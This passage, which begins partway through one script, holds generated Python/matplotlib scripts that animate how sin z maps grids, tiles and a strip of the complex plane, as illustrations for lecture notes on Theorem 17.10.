    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""The sine $\sin z$ -- animation B (path of maps).
Generated by gen_anims.py from specs.py; notes: Theorem 17.10 and Figure 17.1, p. 92 (ch17-trig.tex:233, 278)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: np.sin(s*z)/s
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'vertical lines bend into hyperbolas,\nhorizontal lines into ellipses, all with foci $\\pm1$'
TITLE = '$w=\\frac{\\sin(sz)}{s},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'cart', (-1.5707963267948966, 1.5707963267948966, -1.2, 1.2, 7, 7)
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""The sine $\sin z$ -- animation C (tiles).
Generated by gen_anims.py from specs.py; notes: Theorem 17.10 and Figure 17.1, p. 92 (ch17-trig.tex:233, 278)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: np.sin(s*z)/s
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'the half-strip $|\\mathrm{Re}\\,z|<\\pi/2,\\ \\mathrm{Im}\\,z>0$ onto the upper half-plane'
TITLE = '$w=\\frac{\\sin(sz)}{s},\\quad s=%.2f$'
TILEKIND, TILEARGS = 'cart', (-1.5707963267948966, 1.5707963267948966, 0, 1.2, 6, 3)
HILITE = [8, 3]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))
E = 10
ee = np.linspace(0, 1, E, endpoint=False)
TL = []
if TILEKIND == "cart":
    x0, x1, y0, y1, n, m = TILEARGS
    hx, hy = (x1 - x0) / n, (y1 - y0) / m
    for j in range(m):
        for i in range(n):
            a, b = x0 + i * hx, y0 + j * hy
            TL.append(np.concatenate([a + hx * ee + 1j * b, a + hx + 1j * (b + hy * ee),
                                      a + hx * (1 - ee) + 1j * (b + hy), a + 1j * (b + hy * (1 - ee))]))
else:
    r0, r1, n, t0, t1, m = TILEARGS
    hr, ht = (r1 - r0) / n, (t1 - t0) / m
    for j in range(m):
        for i in range(n):
            a, b = r0 + i * hr, t0 + j * ht
            TL.append(np.concatenate([(a + hr * ee) * np.exp(1j * b), (a + hr) * np.exp(1j * (b + ht * ee)),
                                      (a + hr * (1 - ee)) * np.exp(1j * (b + ht)), a * np.exp(1j * (b + ht * (1 - ee)))]))
PALE = ["#dfe8f5", "#f6e3d3"]
COL = [PALE[(i + j) % 2] for j in range(m) for i in range(n)]
for k, c in zip(HILITE, ["#e76f51", "#2a9d8f"]):
    COL[k] = c


def shown(p):                                   # tiles that pass near infinity are hidden
    return np.all(np.isfinite(p)) and np.max(np.abs(p)) < R


allp = np.concatenate([Hs(t, s) for t in TL for s in np.linspace(0, 1, 11)])
allp = allp[np.isfinite(allp) & (np.abs(allp) < R)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = allp.real.min(), allp.real.max(), allp.imag.min(), allp.imag.max()
    mg = 0.05 * max(X1 - X0, Y1 - Y0)
    X0, X1, Y0, Y1 = X0 - mg, X1 + mg, Y0 - mg, Y1 + mg
Z = np.concatenate(TL)
zx0, zx1, zy0, zy1 = Z.real.min(), Z.real.max(), Z.imag.min(), Z.imag.max()
mz = 0.05 * max(zx1 - zx0, zy1 - zy0)

fig = plt.figure(figsize=(10, 5.4))
axz = fig.add_axes([0.05, 0.08, 0.34, 0.72])
axw = fig.add_axes([0.45, 0.08, 0.52, 0.72])
axz.set_xlim(zx0 - mz, zx1 + mz); axz.set_ylim(zy0 - mz, zy1 + mz)
axw.set_xlim(X0, X1); axw.set_ylim(Y0, Y1)
for a in (axz, axw):
    a.set_aspect("equal", adjustable="box"); a.tick_params(labelsize=9)
    a.axhline(0, color="0.82", lw=0.8); a.axvline(0, color="0.82", lw=0.8)
axz.add_collection(PolyCollection([np.c_[t.real, t.imag] for t in TL], facecolors=COL,
                                  edgecolors="white", linewidths=0.8))
axz.set_title(r"$z$-plane", fontsize=13)
tw = PolyCollection([], edgecolors="white", linewidths=0.8)
axw.add_collection(tw)
title = axw.set_title("", fontsize=13)
fig.text(0.5, 0.925, SUB, ha="center", va="center", fontsize=11 if "\n" in SUB else 11.5, color="0.3", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    P = [Hs(t, s) for t in TL]
    keep = [i for i, p in enumerate(P) if shown(p)]
    tw.set_verts([np.c_[P[i].real, P[i].imag] for i in keep])
    tw.set_facecolors([COL[i] for i in keep])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""sin z as a composition of four simple maps (Definition 17.1, Theorem 17.10, (17.19), (17.20)).
sin z = (E - 1/E)/(2i) with E = e^{iz}; with F = E/(2i) this is F + 1/(4F). The strip |Re z| < pi/2, |Im z| <= 1
(teal: lines x = c, orange: lines y = d, black: y = 0, red dashed: the edges x = +-pi/2, not in the strip) is
carried through z -> iz -> e^{iz} -> e^{iz}/(2i) -> F + 1/(4F) = sin z. Every in-between picture is the image
under a genuine map: rotation e^{i s pi/2} z; (e^{s iz} - 1)/s + s (= iz at s = 0, e^{iz} at s = 1); E/(2^s e^{i s pi/2});
F + s/(4F). Top: the strip (fixed). Bottom: the current stage, in one fixed view.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
VC, HC, LC, CUT, PUR = "#1f6f78", "#c96a00", "#2f5fa8", "firebrick", "#7b3fa0"
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))
ramp = lambda n: [ease(i / (n - 1)) for i in range(n)]
H = np.pi / 2
live = []


def clear():
    while live:
        live.pop().remove()


fig = plt.figure(figsize=(7.4, 11))
title = fig.text(0.5, 0.94, "", ha="center", va="center", fontsize=13.5)
sub = fig.text(0.5, 0.918, "", ha="center", va="top", fontsize=11.5, color="0.3", linespacing=1.5)


def plane(rect, xl, yl, xt, yt):           # a fixed view with few ticks (ticks are the slowest part to draw)
    ax = fig.add_axes(rect); ax.set_xlim(*xl); ax.set_ylim(*yl); ax.set_aspect("equal"); ax.set_xticks(xt); ax.set_yticks(yt)
    ax.axhline(0, color="0.85", lw=0.8, zorder=0); ax.axvline(0, color="0.85", lw=0.8, zorder=0)
    ax.tick_params(labelsize=9.5)
    return ax


def texts(ys, **kw):
    return [fig.text(0.5, y, "", ha="center", va="center", fontsize=11.5, **kw) for y in ys]


def quads(Z):               # grid of points -> its small quadrilaterals, as (n, 4) complex
    return np.stack([Z[:-1, :-1], Z[:-1, 1:], Z[1:, 1:], Z[1:, :-1]], -1).reshape(-1, 4)


def verts(Q):
    return np.stack([Q.real, Q.imag], -1)


def c2(w, n=3):             # a complex number as text
    return ("%.*f %s %.*fi" % (n, w.real + 0.0, "-" if w.imag < 0 else "+", n, abs(w.imag))).replace("-", "−")

Y = 1.0; t = np.linspace(-1, 1, 161); X0, D0 = 0.7, 0.5
LINES = [(c + 1j * Y * t, VC, 2.8 if c == X0 else 1.0) for c in (-1.4, -1.05, -0.7, -0.35, 0, 0.35, 0.7, 1.05, 1.4)]
LINES += [(H * t + 1j * d, HC, 2.8 if d == D0 else 1.0) for d in (-1, -0.75, -0.5, -0.25, 0.25, 0.5, 0.75, 1)]
LINES += [(H * t, "k", 2.2)]
BND = [s * H + 4j * np.linspace(-1, 1, 1601) for s in (-1, 1)]
QZ = quads(np.linspace(-H, H, 25)[None, :] + 1j * np.linspace(-Y, Y, 17)[:, None])
UP = QZ.imag.mean(1) > 0; FC = np.where(UP[:, None], [[1, 0.88, 0.74]], [[0.84, 0.89, 0.97]]); FD = np.where(UP[:, None], [[0.98, 0.72, 0.45]], [[0.62, 0.73, 0.93]])


def M(z, st, s):            # the picture at stage st (1..4), morph parameter s in [0, 1]
    if st == 0:
        return z
    if st == 1:
        return z * np.exp(0.5j * np.pi * s)
    if st == 2:
        return 1j * z if s < 1e-9 else (np.exp(s * 1j * z) - 1) / s + s
    E = np.exp(1j * z)
    if st == 3:
        return E / (2 ** s * np.exp(0.5j * np.pi * s))
    F = E / 2j
    return F + min(s, 1) / (4 * F)


ZG = np.concatenate([L[0] for L in LINES]); assert np.abs(M(ZG, 4, 1) - np.sin(ZG)).max() < 1e-12; assert LINES[6][0][0].real == X0 and LINES[14][0][0].imag == D0
S = [(0, 0.0)] * 18
for st, n, h in ((1, 36, 18), (2, 50, 20), (3, 32, 16), (4, 50, 20)):
    S += [(st, v) for v in ramp(n)] + [(st, 1.0)] * h
SCHED = S + [(5, v) for v in ramp(14)] + [(5, 1.0)] * 24
V = 2.85
axz = plane([0.12, 0.672, 0.76, 0.197], (-V, V), (-1.1, 1.1), [-2, -1, 0, 1, 2], [-1, 0, 1])
axw = plane([0.12, 0.045, 0.76, 0.511], (-V, V), (-V, V), [-2, -1, 0, 1, 2], [-2, -1, 0, 1, 2])
axz.add_collection(PolyCollection(verts(QZ), facecolors=FC, lw=0))
for z, c, lw in LINES:
    axz.plot(z.real, z.imag, color=c, lw=lw)
for z in BND:
    axz.plot(z.real, z.imag, color=CUT, lw=1.6, ls="--")
PC = PolyCollection(verts(QZ), facecolors=FC, lw=0); axw.add_collection(PC)
CV = [axw.plot([], [], color=c, lw=lw)[0] for _, c, lw in LINES]
BV = [axw.plot([], [], color=CUT, lw=1.6, ls="--")[0] for _ in BND]
NAMES = ["$z$", r"$\zeta=iz$", r"$E=e^{iz}$", r"$F=\frac{E}{2i}$", r"$w=F+\frac{1}{4F}=\sin z$"]
PIPE = [fig.text(x, 0.63, n, ha="center", va="center", fontsize=12.5) for x, n in zip((0.1, 0.24, 0.42, 0.61, 0.83), NAMES)]
for x in (0.165, 0.325, 0.515, 0.695):
    fig.text(x, 0.63, r"$\rightarrow$", ha="center", va="center", fontsize=12.5, color="0.5")
T = texts((0.603, 0.58))
SUB = {0: (r"The strip $|\mathrm{Re}\,z|<\frac{\pi}{2}$: teal lines $x=c$, orange lines $y=d$, black $y=0$",
           r"red dashed: the edges $x=\pm\frac{\pi}{2}$ (not in the strip). Thick: $x=0.7$ and $y=0.5$"),
       1: (r"Step 1: multiply by $i$, a quarter turn: $\zeta=iz=-y+ix$",
           r"lines $x=c$ become horizontal ($\mathrm{Im}\,\zeta=c$), lines $y=d$ vertical ($\mathrm{Re}\,\zeta=-d$)"),
       2: (r"Step 2: exponentiate, $E=e^{iz}=e^{-y}e^{ix}$  (morph $\frac{e^{s\zeta}-1}{s}+s$, $s:0\to1$)",
           r"$x=c$ becomes the ray $\arg E=c$;  $y=d$ becomes the circle $|E|=e^{-d}$"),
       3: (r"Step 3: divide by $2i$: turn by $-\frac{\pi}{2}$ and halve,  $F=\frac{E}{2i}$",
           r"the half-plane $\mathrm{Re}\,E>0$ becomes the lower half-plane $\mathrm{Im}\,F<0$"),
       4: (r"Step 4: $w=F+\frac{1}{4F}=\frac{E-E^{-1}}{2i}=\sin z$  (morph $F+\frac{s}{4F}$)",
           r"circles $|F|=\rho$ become ellipses, rays become hyperbola branches, all with foci $\pm1$"),
       5: (r"Theorem 17.10: $\sin$ maps the strip one-to-one onto $\mathbb{C}\setminus((-\infty,-1]\cup[1,\infty))$",
           r"orange ($y>0$) $\to$ upper half-plane, blue $\to$ lower; edges $\to$ the cut rays (red)")}


def frame(k):
    clear(); st, s = SCHED[k]; sm = min(st, 4); s4 = 1.0 if st == 5 else s
    title.set_text(r"$\sin z=\frac{E-E^{-1}}{2i}$, $E=e^{iz}$: the strip $|\mathrm{Re}\,z|<\frac{\pi}{2}$ in four steps")
    sub.set_text(SUB[st][0] + "\n" + SUB[st][1])
    for i, p in enumerate(PIPE):
        p.set_color(CUT if i == sm else ("k" if i < sm else "0.6"))
    PC.set_verts(verts(M(QZ, sm, s4))); PC.set_facecolors(FC + (FD - FC) * (s if st == 5 else 0))
    for (z, c, lw), h in zip(LINES, CV):
        p = M(z, sm, s4); h.set_data(p.real, p.imag)
    for z, h in zip(BND, BV):
        p = M(z, sm, s4); h.set_data(p.real, p.imag)
    if st == 5:
        for sg in (-1, 1):
            live.extend(axw.plot([sg, sg * V], [0, 0], color=CUT, lw=4, alpha=s, solid_capstyle="butt"))
        live.extend(axw.plot([-1, 1], [0, 0], color="k", lw=2.5))
    zv = M(LINES[6][0], sm, s4); zh = M(LINES[14][0], sm, s4)
    if 0 < s < 1 and st < 5:
        T[0].set_text("morph parameter s = %.2f" % s); T[1].set_text("")
    elif st == 0:
        T[0].set_text("thick teal: x = 0.7;   thick orange: y = 0.5   (161 points each)"); T[1].set_text("")
    elif st == 1:
        T[0].set_text("thick teal: Im ζ = %.4f at every point;   thick orange: Re ζ = %.4f at every point"
                      % (zv.imag.mean(), zh.real.mean() + 0.0))
        T[1].set_text("spread along the curves: %.0e and %.0e" % (np.ptp(zv.imag), np.ptp(zh.real)))
    elif st == 2:
        T[0].set_text("thick teal: arg E = %.4f (a ray);   thick orange: |E| = %.4f = e^(−0.5) (a circle)" % (np.angle(zv).mean(), abs(zh).mean()))
        T[1].set_text("spread along the curves: %.0e, %.0e;   smallest Re E over the tiles: %.3f > 0" % (np.ptp(np.angle(zv)), np.ptp(abs(zh)), M(QZ, 2, 1).mean(1).real.min()))
    elif st == 3:
        T[0].set_text("thick teal: arg F = %.4f = 0.7 − π/2;   thick orange: |F| = %.4f = e^(−0.5)/2"
                      % (np.angle(zv).mean(), abs(zh).mean()))
        T[1].set_text("largest Im F over the tiles: %.3f < 0" % M(QZ, 3, 1).mean(1).imag.max())
    elif st == 5:
        W = M(QZ, 4, 1).mean(1); E = M(BND[1], 4, 1)
        T[0].set_text("Im w ≥ %.3f on orange tiles, ≤ %.3f on blue;  y = 0 → [%.3f, %.3f]" % (W[UP].imag.min(), W[~UP].imag.max(), M(LINES[-1][0], 4, 1).real.min(), M(LINES[-1][0], 4, 1).real.max()))
        T[1].set_text("edge x = π/2: w = cosh y ≥ %.4f;  larger |y|: larger ellipses" % E.real.min())
    else:
        a, b = np.sin(X0), np.cos(X0); A, B = np.cosh(D0), np.sinh(D0)
        e1 = np.abs(zv.real ** 2 / a ** 2 - zv.imag ** 2 / b ** 2 - 1).max(); e2 = np.abs(zh.real ** 2 / A ** 2 + zh.imag ** 2 / B ** 2 - 1).max()
        T[0].set_text("teal: (17.19) with c = 0.7, error %.0e;   orange: (17.20) with d = 0.5, error %.0e" % (e1, e2))
        T[1].set_text("max |w − sin z| over all drawn points: %.0e" % np.abs(M(ZG, 4, 1) - np.sin(ZG)).max())

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=65)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(297)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""Folding and periodicity of sin (Theorems 17.3, 17.10; sin(pi - z) = sin z, sin' = cos).
1: a disc (radius 0.75) moves -0.7 -> pi/2 -> pi.  2: the window a < x < a + pi slides from a = -pi/2 to 3pi/2.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
VC, HC, LC, CUT, PUR = "#1f6f78", "#c96a00", "#2f5fa8", "firebrick", "#7b3fa0"
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))
ramp = lambda n: [ease(i / (n - 1)) for i in range(n)]
H = np.pi / 2
live = []


def clear():
    while live:
        live.pop().remove()


fig = plt.figure(figsize=(7.4, 11))
title = fig.text(0.5, 0.94, "", ha="center", va="center", fontsize=13.5)
sub = fig.text(0.5, 0.918, "", ha="center", va="top", fontsize=11.5, color="0.3", linespacing=1.5)


def plane(rect, xl, yl, xt, yt):           # a fixed view with few ticks (ticks are the slowest part to draw)
    ax = fig.add_axes(rect); ax.set_xlim(*xl); ax.set_ylim(*yl); ax.set_aspect("equal"); ax.set_xticks(xt); ax.set_yticks(yt)
    ax.axhline(0, color="0.85", lw=0.8, zorder=0); ax.axvline(0, color="0.85", lw=0.8, zorder=0)
    ax.tick_params(labelsize=9.5)
    return ax


def texts(ys, **kw):
    return [fig.text(0.5, y, "", ha="center", va="center", fontsize=11.5, **kw) for y in ys]


def quads(Z):               # grid of points -> its small quadrilaterals, as (n, 4) complex
    return np.stack([Z[:-1, :-1], Z[:-1, 1:], Z[1:, 1:], Z[1:, :-1]], -1).reshape(-1, 4)


def verts(Q):
    return np.stack([Q.real, Q.imag], -1)


def c2(w, n=3):             # a complex number as text
    return ("%.*f %s %.*fi" % (n, w.real + 0.0, "-" if w.imag < 0 else "+", n, abs(w.imag))).replace("-", "−")

R0 = 0.75; YB = 0.7; WS = 0.5 + 0.4j; Z1 = np.arcsin(WS)
PRE = np.array([Z1 + 2 * k * np.pi for k in (-1, 0, 1)] + [np.pi - Z1 + 2 * k * np.pi for k in (-1, 0, 1)])
assert np.abs(np.sin(PRE) - WS).max() < 1e-12
cnt = lambda a, e=0: int(((PRE.real > a - e) & (PRE.real < a + np.pi + e)).sum())
PA = [-0.7, H, np.pi]
S = [("A", 0.0)] * 10 + [("A", v) for v in ramp(46)] + [("A", 1.0)] * 20 + [("A", 1 + v) for v in ramp(30)] + [("A", 2.0)] * 16
for i in range(2):
    S += [("B", -H + np.pi * i, 0.0)] * (18 if i == 0 else 20) + [("B", -H + np.pi * (i + v), 0.0) for v in ramp(36)]
SCHED = [(s[0], s[1], 0.0) if s[0] == "A" else s for s in S] + [("B", 3 * H, 0.0)] * 20 + [("W", 3 * H, 0.45 * v) for v in ramp(24)] + [("W", 3 * H, 0.45)] * 26
ZA = 5 * H + 0.25 + 0.35j; ZB = 5 * np.pi - ZA; assert abs(np.sin(ZA) - np.sin(ZB)) < 1e-12
axz = plane([0.08, 0.735, 0.84, 0.13], (-2.1, 8.5), (-1.2, 1.2), [-2, 0, 2, 4, 6, 8], [-1, 0, 1])
axw = plane([0.08, 0.237, 0.84, 0.371], (-1.6, 1.6), (-1.05, 1.05), [-1, 0, 1], [-1, 0, 1])
for sg in (-1, 1):
    axw.plot([sg, sg * 1.6], [0, 0], color=CUT, lw=3.5, solid_capstyle="butt")
for c in np.arange(-1, 6) * np.pi + H:
    axz.axvline(c, color="0.6", lw=0.8, ls=":")
axw.scatter([-1, 1], [0, 0], s=18, color="k", zorder=5)
DQ = quads(np.linspace(0, R0, 4)[:, None] * np.exp(1j * np.linspace(0, 2 * np.pi, 41))[None, :])
DC = np.array([[0.85, 0.2, 0.2], [0.95, 0.72, 0.1]])[(np.angle(DQ.mean(1)) % (2 * np.pi) // H).astype(int) % 2]
ORB = np.array([[0.9, 0.55, 0.1], [0.2, 0.4, 0.75]])
